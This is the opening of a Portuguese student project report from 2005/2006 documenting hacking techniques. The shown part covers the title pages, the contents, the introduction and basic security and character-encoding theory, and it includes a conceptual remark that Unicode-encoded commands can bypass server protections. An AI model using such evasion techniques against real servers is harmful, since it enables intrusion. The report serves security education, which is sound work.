Upload
ricardo-tomas
View
262
Download
4
Embed Size (px)
Citation preview
DEPARTAMENTO DE ENGENHARIA INFORMÁTICA
Projecto Informático I
2005/2006
Engenharia Informática
3.º ANO regime Diurno
Projecto de informática I
Plataforma de testes para ferramentas de hacking –
Documentação teórica das técnicas
Documento elaborado por:
Ricardo Cordeiro Tomás, Aluno n.º 12408
Mónica Ferreira Molina Ramos, Aluna n.º 12834
Setembro/2006
2
Identificação
Organização
Escola Superior de Tecnologia e Gestão de Leiria
Título do Projecto
Plataforma de testes para ferramentas de hacking – Documentação teórica das
técnicas
Autores
Ricardo Cordeiro Tomás
Mónica Ferreira Molina Ramos
Orientador
Rolando Lúcio Germano Miragaia
Área Científica
Segurança em Redes de Comunicação
Data
Setembro de 2006
3
Considerações
Quando foram lançadas as propostas de projecto vimos várias que nos agradaram, mas
ficamos interessados nesta proposta, que escolhemos porque abrange uma área pouco
abordada no curso e que nos desperta muito interesse.
Infelizmente quando vimos o objectivo que estava na proposta, que é de desenvolver
uma plataforma que simule os ataques que são efectuados contra um sistema real vimos
que não podíamos escolher o projecto porque não tínhamos conhecimentos nesta área
que nos permitisses desenvolver tal plataforma.
Fomos falar com o docente que faz a proposta, Carlos Rabadão, para saber se podíamos
escolher o projecto mas definir objectivos diferentes do proposto.
Decidimos tentar ficar com este projecto e conseguimos. Depois de reunir com o nosso
orientador ficou decidido que o objectivo principal era fazer a documentação dos
diferentes tipos de ataques que podem ser efectuados contra um sistema para que o
próximo grupo que escolhe-se este projecto pudesse iniciar a criação da plataforma de
simulação sem ter de perder muito tempo a fazer pesquisas online e em livros.
Durante o mês de Agosto começamos a tentar arranjar computadores para montar um
cenário de teste real, em vez de uma plataforma de teste, para criar vídeos a explicar
como é que as ferramentas que encontramos funcionavam para que fosse possível ao
próximo grupo compreender o que é que tinha de ser feito para simular um ataque.
Infelizmente não foi possível avançar com esta ideia porque não é permitido o uso de
ferramentas de hacking na rede da escola e não conseguimos autorização para utilizar a
sala LRSC onde pretendíamos configurar uma rede e colocar computadores a fornecer
os serviços essenciais como servidor DHCP, servidor de e-mail, servidor FTP, etc.
Como não tivemos oportunidade para criar um sistema físico a simular uma rede
ethernet e wireless decidimos avançar com mais uma fase de pesquisa. Esta fase de
pesquisa consistiu em procurar recursos multimédia, vídeos e apresentações em
PowerPoint e flash, de demonstrações de ataques e da utilização de algumas
ferramentas.
4
Índice
1 Introdução ......................................................................................... 15
2 Enquadramento ................................................................................ 17
3 Noções gerais ..................................................................................... 18
3.1 Princípios da segurança e tipos de ataques ................................................ 18
3.1.1 Classificação dos tipos de ataques ......................................................................... 20
3.2 Representação de caracteres ........................................................................ 21
3.2.1 Padrão de codificação ASCII ................................................................................ 21
3.2.2 Padrão de codificação Unicode ............................................................................. 25
3.3 Registo do Windows ...................................................................................... 26
3.4 Ponteiro para funções em C ......................................................................... 31
3.5 Modelos de transmissão de dados em rede ................................................. 33
3.5.1 Modelo OSI ........................................................................................................... 34
3.5.2 Modelo TCP/IP ..................................................................................................... 38
3.6 Usar o google para pesquisas avançadas .................................................... 41
4 NetBios ............................................................................................... 51
5 Vírus ................................................................................................... 54
5.1 Vírus tradicionais .......................................................................................... 54
5.2 Worms ............................................................................................................ 55
6 Segurança e confidencialidade de dados ........................................ 57
6.1 Criptografia ................................................................................................... 57
6.1.1 Criptografia simétrica ............................................................................................ 58
6.1.2 Criptografia assimétrica ........................................................................................ 59
6.1.3 Funções de Hash ou resumo da mensagem ........................................................... 61
6.1.4 Assinatura digital ................................................................................................... 62
6.1.5 Certificados digitais ............................................................................................... 63
6.2 Estenografia ................................................................................................... 64
6.3 Ataques a algoritmos criptográficos ........................................................... 66
7 Footprinting e Scanning ................................................................... 68
8 Buffer Overflow ................................................................................ 79
5
8.1 Tipos de Buffer overflow .............................................................................. 79
8.1.1 Stack overflows ..................................................................................................... 79
8.1.2 Format String overflows ........................................................................................ 83
8.1.3 Heap/BSS/Data Overflows .................................................................................... 83
8.1.4 Overflow de números inteiros ............................................................................... 83
9 Spoofing ............................................................................................. 86
9.1 IP spoofing ..................................................................................................... 86
9.2 ARP spoofing ................................................................................................. 88
9.3 DNS Spoofing ................................................................................................ 91
9.4 MAC Spoofing ............................................................................................... 97
10 Negação de serviço (DOS) ................................................................ 98
10.1 Tipos de ataques de negação de serviço ................................................ 100
10.1.1 Consumo de largura de banda ......................................................................... 100
10.1.2 Falta de recursos (Resource starvation) .......................................................... 102
10.1.3 Falhas na programação.................................................................................... 103
10.1.4 Ataques de DOS distribuídos .......................................................................... 106
11 Validação de Input.......................................................................... 110
11.1 Tipos de ataques ...................................................................................... 111
11.1.1 Injecção de código SQL .................................................................................. 111
11.1.2 Injecção de código Javascript ......................................................................... 113
11.1.3 Injecção de código PHP .................................................................................. 116
11.1.4 Format string ................................................................................................... 117
12 Roubo da propriedade intelectual ................................................. 120
12.1 Tipos de ataques ...................................................................................... 120
12.1.1 Trojans ............................................................................................................ 120
12.1.2 Rootkits ........................................................................................................... 125
12.1.3 Backdoors ....................................................................................................... 126
12.1.4 Bots e Botnets ................................................................................................. 126
12.1.5 Sniffing ........................................................................................................... 126
12.1.6 Adware ............................................................................................................ 130
12.1.7 Ransonware ..................................................................................................... 131
12.1.8 Spyware........................................................................................................... 131
6
12.1.9 Hijackers ......................................................................................................... 132
13 Esconder a identidade .................................................................... 133
13.1 Métodos para esconder a identidade ..................................................... 133
13.1.1 Servidores Proxy ............................................................................................. 133
13.1.2 Proxy Bouncing .............................................................................................. 135
14 Engenharia social ............................................................................ 138
14.1 Tipos de ataques ...................................................................................... 139
14.1.1 Impersonalização ............................................................................................ 139
14.1.2 Intimidação ..................................................................................................... 140
14.1.3 Engenharia social com presença física do atacante ......................................... 140
14.1.4 Phishing........................................................................................................... 140
14.1.5 Pharming ......................................................................................................... 142
15 Descobrir Passwords ...................................................................... 145
15.1 Técnicas usadas para descobrir password’s ......................................... 145
15.1.1 Adivinhar a Password ..................................................................................... 145
15.1.2 Passwords por defeito ..................................................................................... 146
15.1.3 Ataques baseados em dicionários de palavras ................................................ 146
15.1.4 Ataques de força bruta .................................................................................... 147
15.1.5 Keyloggers ...................................................................................................... 148
15.2 Password’s de aplicações ........................................................................ 150
15.3 Password’s do Windows ......................................................................... 151
15.4 Password’s de Linux\Unix ...................................................................... 151
16 Sistemas Wireless ............................................................................ 153
16.1 Ataques a sistemas wireless .................................................................... 155
16.1.1 Ataques a sistemas Bluetooth ......................................................................... 155
16.1.2 Ataques ao mecanismo de segurança WEP .................................................... 156
16.1.3 Sniffing ........................................................................................................... 156
16.1.4 Man-in-the-middle .......................................................................................... 157
16.1.5 Host Routing ................................................................................................... 157
16.1.6 Negação de serviço ......................................................................................... 157
17 Ferramentas de protecção e detecção de ataques ....................... 159
7
17.1 Sistemas de detecção de ataques ............................................................ 159
17.2 Firewalls ................................................................................................... 160
17.3 Honeypots ................................................................................................ 162
18 Conclusão ........................................................................................ 165
18.1 Objectivos realizados .............................................................................. 165
18.2 Outros trabalhos realizados ................................................................... 165
18.3 Trabalho a desenvolver no futuro ......................................................... 166
18.4 Apreciação final ...................................................................................... 167
19 Bibliografia ...................................................................................... 168
20 Anexos .............................................................................................. 174
A. Tipos de Hackers ................................................................................................ 174
B. Hacker’s mais famosos ....................................................................................... 179
C. Acontecimentos mais marcantes na historia do hacking ................................ 181
D. Historia dos vírus informáticos ......................................................................... 184
E. Legislação sobre informática ............................................................................. 191
F. Vídeos em anexo .................................................................................................. 203
G. Ferramentas em anexo ....................................................................................... 207
H. Glossário .............................................................................................................. 228
8
Índice de figuras e tabelas
Imagem 1 – Tabela ASCII ............................................................................................... 23
Imagem 2 – Extensão da tabela ASCII ............................................................................ 24
Imagem 3 – Editor de Registo do Windows (raiz do registo) ......................................... 27
Imagem 4 – Editor de registo do Windows (HKEY_LOCAL_MACHINE) ..................... 28
Imagem 5- esquema a representar o modelo OSI ........................................................... 34
Imagem 6 - correspondência entre as camadas do modelo OSI e nome da unidade de
dados. .............................................................................................................................. 36
Imagem 7 - Esquema a representar a unidade de dados nas várias camada ................... 37
Imagem 8 – Esquema a ilustrar a informação protocolar que está adicionada aos dados
em cada camada .............................................................................................................. 38
Imagem 9 – Esquema que representa as camadas do modelo TCP/IP ........................... 40
Imagem 10 – Esquema que representa a correspondência entre o modelo OSI e TCP/IP.
........................................................................................................................................ 41
Imagem 11 – Exemplo de utilização do operador “+” na pesquisa do google ............... 42
Imagem 12 - Exemplo de utilização do operador “-” na pesquisa do google ................. 43
Imagem 13 - Exemplo de utilização do operador aspas (“”) na pesquisa do google ...... 44
Imagem 14 - Exemplo de utilização do operador aspas ~ na pesquisa do google .......... 45
Imagem 15 - Exemplo de utilização do operador site na pesquisa do google ................ 45
Imagem 16 - Exemplo de utilização do operador “intitle” na pesquisa do google ......... 46
Imagem 17 - Exemplo de utilização do operador “inurl” na pesquisa do google .......... 47
Imagem 18 - Exemplo de utilização do operador “link” na pesquisa do google ............ 47
Imagem 19 - Exemplo de utilização do operador “cache” na pesquisa do google ......... 48
Imagem 20 - Exemplo de utilização do operador “related” na pesquisa do google ....... 49
Imagem 21 - Exemplo de utilização do operador “define” na pesquisa do google ........ 50
Imagem 22 - Exemplo de utilização do operador “filetype” na pesquisa do google ...... 50
Imagem 23 – Listagem de informações do computador usando o comando netstat ...... 52
Imagem 24 – Execução do comando “nbtstat –n” para saber se a partilha de pastas e
impressoras está activa. ................................................................................................... 52
Imagem 25 – Esquema de comunicação com cifra simétrica ......................................... 59
Imagem 26 – esquema de comunicação com cifra assimétrica ...................................... 60
Imagem 27 – esquema de comunicação com cifra assimétrica ...................................... 61
9
Imagem 28 – Esquema da aplicação de uma função de hash ......................................... 62
Imagem 29 – funcionamento da assinatura digital ......................................................... 63
Imagem 30 – Alguma da informação do certificado Digital da página
“www.mail2web.com”. .................................................................................................... 64
Imagem 31 – Programa Steganography que possui a funcionalidade de estenografar
dados. .............................................................................................................................. 65
Imagem 32 – Printscreen do nível de detalhe apresentado numa pesquisa no google
maps. É possível obter uma imagem nítida de um edifício. ........................................... 69
Imagem 33 – Printscren de uma ferramenta que permite efectuar consulta para saber
informação de domínios web. ......................................................................................... 69
Imagem 34 – listagem dos saltos ate atingir o endereço IP pretendido .......................... 70
Imagem 35 – Printscreen da aplicação neoTrace com a localização geográfica do
servidor da cnn. ............................................................................................................... 71
Imagem 36 – Printscreen da janela de resultados devolvida pelo Superscan 4 quando
verifica os computadores ligados á rede e as portas abertas nestes. ............................... 72
Imagem 37 – Janela de configuração e apresentação de resultados da aplicação
Winfingerprint. ................................................................................................................ 73
Imagem 38 – Listagem das pastas partilhadas da máquina 192.168.246.30 .................. 74
Imagem 39 – Ligação remota a um computador. ........................................................... 75
Imagem 40 – Printscreen a mostrar a informação devolvida pelo browser ................... 76
Imagem 41 – Printscreen de uma ligação Telnet ao servidor de e-mail. ........................ 76
Imagem 42- Informação da versão do Web server ......................................................... 77
Imagem 43 – Uso do comando Nmap para descobrir a versão do sistema operativo ..... 77
Imagem 44 – Representação de uma estrutura LIFO ..................................................... 81
Imagem 45 – representação da pilha de um processo. .................................................... 81
Imagem 46 – esquema a representar o funcionamento do IP Spoofing .......................... 87
Imagem 47 – esquema de ligações antes de ocorrer ARP Spoofing ............................... 90
Imagem 48 - esquema de ligações depois de ocorrer ARP Spoofing .............................. 90
Imagem 49 – O atacante faz um pedido de resolução ao servidor DNS da vítima ......... 93
Imagem 50 – O servidor de DNS da vítima envia um pedido de resolução ao servidor
DNS do atacante para resolver o IP do site do atacante. ................................................. 93
Imagem 51 – O servidor DNS do atacante efectua uma “Zone Transfer” para o servidor
de DNS da vítima. ........................................................................................................... 93
10
Imagem 52 – O servidor DNS da vítima pede o site do atacante depois de consultar a
cache e saber qual o valor do IP do site. ........................................................................ 94
Imagem 53 – Neste exemplo o atacante usa um sniffer para capturar o ID do pacote e
responde á vítima com um IP falso mas com o ID correcto. .......................................... 95
Imagem 54 – DNS spoofing baseado no paradoxo do aniversário ................................. 96
Imagem 55 – Programa SMAC versão 2.0. .................................................................... 98
Imagem 56 – Exemplo de um ping com 35 000 bytes de tamanho .............................. 101
Imagem 57 – Representação de um ataque DDoS ........................................................ 107
Imagem 58 – mostrar os elementos na categoria portáteis na página “www.chip.pt” .. 112
Imagem 59 – página “www.chip7.pt” com SQL injectado na barra de endereço. ........ 113
Imagem 60 – Cookies presentes na página www.orelhas.pt ......................................... 114
Imagem 61 – Adicionar um cookie á página com javascript. ...................................... 114
Imagem 62 – Confirmação de que o cookie foi inserido. ............................................. 115
Imagem 63 – Ferramenta NetBus versão 2.01 Pro ....................................................... 122
Imagem 64- Printscreen do resultado do comando “netstat -n” .................................. 123
Imagem 65 – Listagem das portas com ligação estabelecida ou a espera de ligação ... 123
Imagem 66 – Comunicação entre dois computadores numa rede ethernet .................. 127
Imagem 67 – Ferramenta ethereal versão 0.99.0 .......................................................... 128
Imagem 68 – Exemplo de comunicação ponto-a-ponto numa rede switch. ................. 129
Imagem 69 – Screenshot da página “proxyfy.com” que permite navegar anonimamente
na web. .......................................................................................................................... 134
Imagem 70 – Screenshot do servidor proxy “Your-Freedom” que permite o uso de
aplicações bloqueadas na rede e que se navegue sem restrições na Internet. ............... 135
Imagem 71 – Screenshot da janela para fazer a autenticação no Gatekeeper. São
necessários privilégios de administração para correr a aplicação. ................................ 136
Imagem 72 – Screenshot da aplicaçao que permite configurar o Wingate. .................. 137
Imagem 73 – Esquema a representar como o atacante consegue evitar os sistemas de
protecção enganando um empregado da organização. .................................................. 139
Imagem 74 – printscreen do e-mail que a vítima recebe. ............................................. 141
Imagem 75 – Printscreen da página para onde a vítima é reencaminhada ao carregar no
link que é indicado no e-mail. ....................................................................................... 142
Imagem 76 - Configuração do ficheiro hosts. ............................................................... 143
Imagem 77 – Configuração do ficheiro Host alterado. O endereço IP colocado para o
google não é o correcto (é o endereço de www.MSN.com) ........................................... 143
11
Imagem 78 – A aplicação LC5 permite carregar vários dicionários para serem testados.
...................................................................................................................................... 147
Imagem 79 – LC5 usado para um ataque de força bruta para descobrir o login do
Windows. ....................................................................................................................... 148
Imagem 80 – Screenshot do keylogger “Best Free Keylogger”. .................................. 149
Imagem 81 – Fotografia de um computador sem o Keylogger por hardware instalado e
com o keylogger por hardware instalado. .................................................................... 150
Imagem 82 – Ligação wireless no modo Ad-Hoc ......................................................... 153
Imagem 83 – Ligação wireless no modo infra-estrutura .............................................. 154
Imagem 84 – Screenshot a mostrar o funcionamento do NetStumbler. ........................ 155
Imagem 85 – Screenshot da aplicação IDSCenter que fornece um interface gráfico para
o Snort. .......................................................................................................................... 159
Imagem 86 – Exemplo de colocação de uma firewall por hardware na rede. ............. 161
Imagem 87 – screenshot da aplicação Send-Safe Honeypot Hunter ............................ 163
Imagem 88 – Este esquema mostra a criação de uma rede falsa (Honeynet) com 3
computadores. ............................................................................................................... 164
12
Chave de abreviaturas e siglas
Siglas Descrição
3DES Triple Data Encryption Standard
AP Access Point
API Application Programming Interface
ARP Address Resolution Protocol
ASCII American Standard Code for Information Interchange
ASP Active Server Pages (web-scripting interface da Microsoft)
CGI Common Gateway Interface
DDoS Negação de serviço distribuído (Distributed denial of service)
DES Data Encryption Standard
DNS Domain Name System
DoS Negação de serviço (Denial of service)
EAPOL Extensible Authentication Protocol Over Lan
EBP Extended Base Pointer
ECC Elliptic Curve Cryptography
EIP Extended instruction pointer
FIFO First In First Out
FTP File Transfer Protocol
FTPS File Transfer Protocol over Ssl
HKCC HKEY_CURRENT_CONFIG (Registo doWindows)
HKCR HKEY_CLASSES_ROOT (Registo doWindows)
HKCU HKEY_CURRENT_USER (Registo doWindows)
HKLM HKEY_LOCAL_MACHINE (Registo doWindows)
HKU HKEY_USERS (Registo doWindows)
HTTP HyperText Transport (or Transfer) Protocol
HTTPS HyperText Transport (or Transfer) Protocol Secure
ICMP Internet Control Message Protocol
ID Identification number
IDEA International Data Encryption Algorithm
IDS Intrusion Detection System
IMAP Internet Message Access Protocol
13
IP Protocolo de Internet (Internet Protocol)
IPSec Internet Protocol SECurity
IRC Internet Relay Chat
ISN Initial Sequence Number
ISP Internet Service Provider, Interrupt Stack Pointer
LAN Local Area Network
LIFO Last In First Out
LLC Logical Link Control
LRSC Laboratório de Redes e Sistemas de Comunicação (Sala 0.1 edifício A)
MAC Media Access Control, Message Authentication Code
MD5 Message Digest 5
NetBEUI NETwork Bios Extended User Interface
OSI Open Systems Interconnection
PDU Protocol (ou Packet) data unit
PHP Hypertext Preprocessor
POP3 Post Office Protocol 3
PPP Point to Point Protocol
RET Return Address
RFC Request for Comments
RIR Regional Internet Registry
RPC Remote Procedure Call
RSA Rivest-Shamir-Adleman
SCSI Small Computers System Interface
SFP Stack Frame Pointer
SHA-1 The Secure Hash Algorithm version 1
SLIP Serial Line Internet Protocol
SMTP Simple Mail Transfer Protocol
SNMP Simple Network Management Protocol
SQL Structured Query Language (linguagem de consulta em Bases de dados)
SSH Secure Shell
TCP Transmission Control Protocol
TCP/IP Transmission Control Protocol/Internet Protocol
TELNET Network Virtual Terminal Protocol
14
TFTP Trivial File Transfer Protocol
TTL Time To Live
UDP User Datagram Protocol
URL Universal Resource Locator
VPN Virtual Private Network
WAN Wide Area Network
WEP Wired Equivalent Privacy
WLAN Wireless Local Area Network
WPA Wi-Fi Protected Access
WPA2 Wi-Fi Protected Access 2
15
1 Introdução
Com o aparecimento das tecnologias nomeadamente das tecnologias de informação, a
rápida comunicação entre as várias civilizações existentes tornou-se possível. Pessoas
em várias partes do planeta passaram a ter possibilidades de comunicar com outras
pessoas em qualquer parte do mundo. As traduções e os aspectos culturas das nações
passaram a ser conhecidos e por vezes adoptados por outras nações graças a tecnologia
que permite a todos estar mais perto de outros povos geograficamente longínquos
eliminando assim as barreiras da distância.
Com o decorrer dos anos as tecnologias e os meios de comunicação evoluíram. O
aparecimento do telefone foi um dos primeiros passos para provocar uma “explosão” de
desenvolvimento.
Depois do desenvolvimento e evolução dos computadores, assim como o aumento da
sua utilização, tornou-se crucial estabelecer um meio de comunicação entre eles. As
organizações passaram a sentir necessidade de usar computadores para se modernizar.
Para resolver as necessidades foram desenvolvidas as redes informáticas que ao longo
dos anos cresceram a nível mundial.
As tecnologias despertam a curiosidade de utilizadores de diversas faixas etárias mas
principalmente a dos jovens. Este interesse leva a que os mais curiosos investigarem e
estudarem o funcionamento das máquinas, dos sistemas operativos, das redes, e de
vários outros meios tecnológicos e por vezes chegam a fazer alterações desses ou ate
mesmo a infiltrarem-se em sistemas privados. Estes utilizadores são denominados de
hackers.
O impacto das tecnologias e principalmente da Internet trouxe aspectos positivos e
negativos. Se por um lado tornou a comunicação mais rápida e o acesso à informação
mais simples e proporcionou o progresso das empresas, por outro lado passou a ser
considerado um risco para quem tem computadores ligados a ela, uma vez que alguns
atacantes podem não ser apenas curiosos e tenham como objectivos causar danos.
È extremamente importante assegurar a segurança da rede e do meio de informação
empregues nos sistemas de forma a manter a integridade e a segurança dos dados que
devem ser mantidos confidenciais.
Para combater a insegurança dos dados num sistema é importante que os
administradores pensem como hacker. È necessário efectuarem um estudo detalhado das
16
vulnerabilidades existentes no software e hardware, assim como nos protocolos usados.
Outro factor importante para saber como proteger um sistema, é saber como ataca-lo,
através da investigação de informação sobre os vários tipos de ataques e na recolha e
estudo de ferramentas existentes para cada tipo de ataque.
Infelizmente o desenvolvimento dos tipos de ataques e das ferramentas utilizadas
crescem de acordo com o desenvolvimento das técnicas criadas para proteger os
sistemas. Portanto, nos nossos dias e nos próximos anos não será possível saber de um
sistema está realmente seguro ou não.
17
2 Enquadramento
Este relatório tem por objectivo fazer com que o leitor fique a conhecer os
acontecimentos que marcaram a historia do “Hacking” e quais as técnicas que são
usadas para atacar um sistema.
Os termos “Hacking” e “Hacker” já eram usados antes do surgimento dos computadores
para descrever as pessoas que eram interessadas em estudar sempre mais e em explorar
os limites existente para os quebrar. Estes termos actualmente são usados apenas na área
da informática e o seu significado foi deturpado pela imprensa que passou a usa-lo para
designar todos os utilizadores que tenham um conhecimento de computadores acima da
média e que façam uso desse conhecimento quer para o bem quer para o mal.
Em anexo são descritos os tipos de “Hacker’s” para deixar bem explicita a diferença
entre estes para que o leitor se aperceba da diferença e note que um verdadeiro
“Hacker” é movido pela curiosidade e vontade de aprender e que não tem por objectivo
causar prejuízos.
Se o leitor for curioso pode procurar a informação que se encontrar em anexo sobre os
“Hacker’s” mais famosos, os acontecimentos que fizeram noticia e a legislação
portuguesa que se aplica á informática.
Aconselhamos uma leitura muito atenta ao capítulo sobre a legislação para que o leitor
tenha consciência do que pode ou não fazer antes de colocar em prática o que é
ensinado no relatório.
Para que o leitor consiga perceber o que é explicado no relatório este começa com um
capítulo com noções teóricas necessárias para a compreensão da informação contida nos
restantes capítulos.
Depois de uma leitura completa ao relatório o leitor vai ficar a conhecer quais as
técnicas usadas actualmente para explorar um sistema e algumas das ferramentas que
são usadas para adquirir informação de um sistema ou atacá-lo.
18
3 Noções gerais
3.1 Princípios da segurança e tipos de ataques
A segurança de uma organização, aplicação, sistema, está em conseguir encontrar um
equilíbrio entre o nível de acesso e de segurança necessária. Como se sabe qualquer
sistema que tenha de estar ligado á rede está sempre sujeito a ataques, mas permite que
se aceda á informação facilmente. Por outro lado num sistema isolado da rede com
vários níveis de acesso (analise de voz, de retina, código de acesso, etc.) a segurança é
muito maior mas é muito difícil aceder á informação.
Assim cada empresa tem de encontrar a relação entre o nível de segurança que tem de
garantir, para proteger o seu sistema e a sua informação, e o nível de acesso mínimo que
precisa de fornecer.
A segurança na informação tem três objectivos:
Garantir a confidencialidade da informação, ou seja, garantir que a informação
apenas se encontra disponível a quem está autorizado a aceder-lhe. A
confidencialidade pode ser garantida fisicamente ou virtualmente. A primeira
pode ser garantida com recurso a fechaduras, guardas, vedações, etc. A segunda
pode ser garantida com recurso a passwords, encriptação, firewall’s, etc.
Virtualmente é necessário que a informação esteja protegida quando se encontra
armazenada num dispositivo ou quando está a circular na rede.
Garantir a integridade da informação, ou seja, garantir que quando alguém que
possui autorização para aceder aos dados acede a este na sua forma original.
Garantir a integridade da informação consiste em garantir que os dados não são
alterados enquanto estão armazenados num dispositivo nem enquanto circulam
na rede. Para garantir a integridade dos dados é utilizada informação redundante.
Garantir a disponibilidade da informação, ou seja, garantir que quem tem
autorização para aceder á informação consegue aceder a esta quando necessita.
Para tal é necessário que os recursos onde a informação se encontra estejam
igualmente disponíveis. Quando se pretende garantir a disponibilidade da
informação é necessário garantir que caso ocorra algum desastre existe um
19
backup ao qual se pode continuar a aceder e que o tempo de recuperação seja
muito rápido. É necessário também garantir que caso o sistema seja vítima de
um ataque de negação de serviço continue a garantir acesso aos utilizadores
legítimos.
Anteriormente foram vistos os objectivos de segurança da informação que tem de ser
compridos para que quem tem autorização para aceder a esta o consiga fazer e tenha
garantias que está a aceder a informação correcta.
Para garantir que quem está a aceder aos dados tem privilégios para tal e para que não
possa negar as suas acções é necessário garantir:
Autenticação de quem pretende aceder á informação, ou seja, assegurar que
quem pretende aceder a esta tem uma forma de garantir a sua identidade para
comprovar que tem autorização para lhe aceder.
Controlar o acesso, ou seja, garantir que quem tenha acesso á informação ou
recursos apenas consegue aceder aos dados que tem privilégio.
Não repudio, ou seja, capacidade de garantir que quem acedeu á informação ou
recursos não consiga negar a sua acção.
A autenticação e o controlo de acesso podem ser feito com recurso a password’s, smart
card’s, sistemas biométricos, listas de acesso, firewall’s, etc.
Caso se pretenda garantir simultaneamente a autenticação, controlar o acesso e
assegurar o não repudio, podem ser usadas assinaturas digitais ou certificação
(envolvimento de uma terceira entidade que garante a autenticação) de quem pretende
aceder á informação.
A política de segurança implementada numa empresa tem de ser capaz de prevenir a
ocorrência de um ataque. Esta também deve ser capaz de fornecer garantias de
recuperação no caso de um ataque ser bem sucedido para que os utilizadores que tem
direito a aceder á informação ou recursos não sejam prejudicados. Deve também
assegurar uma possível detecção da identidade do atacante e do método usado por este.
Qualquer que seja a política de segurança escolhida, é necessário ter em conta que o
custo da sua implementação deve ser menor que o custo de recuperação de um ataque
bem sucedido.
20
3.1.1 Classificação dos tipos de ataques
A política de segurança implementada deve proteger o sistema dos vários tipos de
ataques. Estes podem ser classificados:
Em função das alterações que fazem aos dados, podem ser classificados de:
Activos. Este tipo de ataques envolve a inserção de informação, a remoção de
informação ou a alteração da informação existente, armazenada ou a ser circular
na rede.
Passivos (snooping). É um ataque á confidencialidade dos dados visto que
consiste em conseguir aceder a informação que o atacante não tem acesso. O
Sniffing pertence a este tipo de ataques.
Em função da forma como o ataque é realizado, podem ser classificados de:
Escuta: As ferramentas de sniffing permitem fazer este tipo de ataque á
informação que circula na rede uma vez que apenas escutam toda a informação
que circula nesta. Alguns exemplos de sniffers são ethereal, Dsniff, Ethercap,
etc.
Bloqueio: Este tipo de ataque destina-se a impedir o acesso a informação ou
recursos. Os ataques de negação de serviço e de negação de serviço distribuído
(Syn flood, Smurf, etc.), os ataques de email bombing, os vírus, etc. enquadram-
se nesta categoria. Ainda se enquadram nesta categoria os ataques físicos ao
sistema, como o corte de cabos, corte de fornecimento de luz, inundações, fogo,
furacões, etc.
Desvio (Hijacking): Este é um ataque á autenticidade, uma vez que o atacante
assume a identidade de alguém que tem acesso a informação para conseguir
aceder a esta. Alguns dos ataques mais comuns de desvio são o IP spoofing,
DNS spoofing, ARP Spoofing, etc.
Modificação: Este é um ataque á integridade da informação. Quando é realizado
numa rede tem o nome de Man-in-The-Midle. Este consiste no atacante fazer de
intermediário na troca de informação entre o receptor e emissor, o que lhe
permite alterar, fabricar ou ver os dados que estão a ser trocados.
21
3.2 Representação de caracteres
Todos os computadores trabalham com números. Dessa forma, tornou-se necessário
designar números para representar letras e outros caracteres de forma a ser possível
grava-los na memória.
Ao contrário dos números inteiros, os caracteres tem um domínio finito, tornando
possível a representação de cada carácter através de um número.
Antes do aparecimento de padrões de representação de caracteres cada sistema
computacional tinha uma forma particular de os representar, dificultando a comunicação
entre os computadores de diferentes fabricantes.
Desta forma foi proposta uma representação comum de caracteres (padrão), para que as
dificuldades anteriores fossem minimizadas, permitindo a comunicação entre
computadores de fabricantes distintos.
Os padrões de representação tem de incluir a gama dos caracteres que se podem
imprimir no ecrã, os caracteres de controlo, os caracteres usados na comunicação, etc.
Existem dois padrões de codificação mais usados, o padrão ASCII e o padrão
UNICODE. É importante conhecer este último para entender alguns ataques, uma vez
que os servidores têm protecções em relação a execução de determinados comandos
recebidos de uma máquina remota. Uma forma de ultrapassar essa protecção é fornecer
o comando desejado em UNICODE. Desta forma o servidor aceita o comando e o
sistema operativo converte-o para o comando inicial, e executa-o. Em seguida
descrevemos não o padrão UNICODE e o ASCII, uma vez que a sua compreensão é
essencial para a assimilação do padrão UNICODE.
3.2.1 Padrão de codificação ASCII
Robert W. Bermer e sua equipa propuseram-se a desenvolver uma nova forma de
codificação, o “American Standard Code for information interchange” (Código Padrão
Norte-americano para Intercâmbio de Informações), mais conhecido como código
ASCII.
Esta forma de representação é baseada no alfabeto romano. Tem como objectivo
representar letras (maiúsculas e minúsculas), números, acentos, caracteres de controlo,
sinais (por exemplo “(“, “)” e “>”), símbolos gráficos e símbolos matemáticos.
22
O código ASCII representa cada carácter por um valor resultante da combinação de 7
bits.
O primeiro grupo do código ASCII, que vai do decimal 0 a 31 forma um conjunto de
caracteres especiais de controlo, ou seja, que controlam funções ou equipamentos (como
por exemplo máquinas de escrever electrónicas, folhas de papel perfuradas, etc.). Estes
são usados para controlo de impressão, transmissão e outros objectivos não textuais
como é possível ver na tabela de caracteres especiais de controlo ASCII, por exemplo:
O carácter 24 representa a função cancelar;
O carácter 8 representa a função de retorno determinado pela tecla
<backspace>;
O carácter 27 representa a função “escape” determinada pela tecla
<esc>;
O oitavo bit no padrão de codificação da primeira tabela ASCII (primeira combinação
de bits para a codificação de caracteres do padrão ASCII) é sempre 0, o que significa
que este padrão utilizava apenas metade das combinações possíveis em 8 bits. Assim, o
padrão ASCII usa 7 bits para representar cada carácter, o que permite representar até
128 caracteres.
Tabela ASCII:
23
Imagem 1 – Tabela ASCII
Á medida que passou a ser necessário representar mais caracteres começaram a surgir
várias extensões ao padrão ASCII. Demorou algum tempo para que fosse criado um
standard que fosse aceite pela maioria das pessoas. O que teve maior aceitação foi o
seguinte:
24
Imagem 2 – Extensão da tabela ASCII
Um padrão que foi muito usado mas que hoje em dia apenas é mantido por uma questão
de compatibilidade é o padrão EBCDIC (Extended Binary Coded Decimal Interchange
Code) que é propriedade da IBM e que foi criado com o objectivo de estender o padrão
ASCII porque este usa 8 bits para a representação de caracteres. Este padrão de
codificação não utiliza uma representação para os primeiros 128 bits compatível com
ASCII.
25
3.2.2 Padrão de codificação Unicode
O UNICODE foi criado para eliminar o problema de não existir um sistema de
codificação que pudesse conter todos os caracteres, uma vez que o uso de vários
sistemas de codificação diferentes é essencial para codificar todos os caracteres de todas
as línguas existentes. Mesmo para a língua inglesa não havia combinações suficientes
para codificar caracteres como letras, pontuações e símbolos técnicos com o padrão
ASCII.
Desta forma, os computadores (principalmente os servidores) podem ter que
suportar mais do que um sistema de codificação, para poder interpretar todos os
caracteres. Assim, pode surgir conflito entre os sistemas, uma vez que um carácter pode
ser representado por dois identificadores diferente, ou seja, um carácter pode ter uma
representação diferente em cada sistema de codificação e se não estiver a ser usado o
sistema correcto a mensagem vai aparecer incorrectamente.
Portanto, o UNICODE é um padrão universal para codificar caracteres de várias
linguagens, fornecendo um código único para cada carácter independentemente da
plataforma.
Os códigos possíveis no padrão UNICODE são combinações de dois bytes, ao invés
combinações de um byte único como no padrão ASCII. Logo, o UNICODE oferece 16
bits de identificadores binários, o que significa que consome 16 bits de memória,
consumindo assim, mais memória que os identificadores do padrão ASCII, que
